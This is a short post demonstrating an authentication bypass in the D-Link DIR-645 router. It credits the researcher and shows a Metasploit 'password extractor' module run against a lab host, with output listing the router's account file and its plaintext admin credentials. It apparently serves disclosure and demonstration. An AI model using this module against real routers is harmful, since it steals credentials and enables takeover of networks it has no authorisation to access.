Dlink dir645 password extractor

the dir 645 is vulnerable to authentication bypass. This vulnerabilty was discovered by Roberto Paleari (roberto@greyhats.it, twitter: @rpaleari)

With this you are able to download the config with plaintext credentials.

Details:
Exploiting Demo - 192.168.178.105 / 0 auxiliary(dlink_dir_645_password_extractor) > run

[+] 192.168.178.200:80 - credentials successfully extracted
[+] 192.168.178.200:80 - Account details downloaded to: /root/.msf4/loot/20130324114814_default_192.168.178.200_account_details._273540.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Exploiting Demo - 192.168.178.105 / 0 auxiliary(dlink_dir_645_password_extractor) > cat /root/.msf4/loot/20130324114814_default_192.168.178.200_account_details._273540.txt
[*] exec: cat /root/.msf4/loot/20130324114814_default_192.168.178.200_account_details._273540.txt

<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
        <service>DEVICE.ACCOUNT</service>
        <device>
                <gw_name>DIR-645</gw_name>

                <account>
                        <seqno>2</seqno>
                        <max>2</max>
                        <count>2</count>
                        <entry>
                                <uid>USR-</uid>
                                <name>admin</name>
                                <usrid></usrid>
                                <password>admin</password>
                                <group>0</group>
                                <description></description>
                        </entry>
                        <entry>
                                <uid>USR-1</uid>
                                <name>user</name>
                                <usrid></usrid>
                                <password></password>
                                <group>101</group>
                                <description></description>
                        </entry>
                </account>
                <group>
                        <seqno></seqno>
                        <max></max>
                        <count>0</count>
                </group>
                <session>
                        <captcha>0</captcha>
                        <dummy></dummy>
                        <timeout>600</timeout>
                        <maxsession>128</maxsession>
                        <maxauthorized>16</maxauthorized>
                </session>
        </device>
</module>
</postxml>

Best,
Mike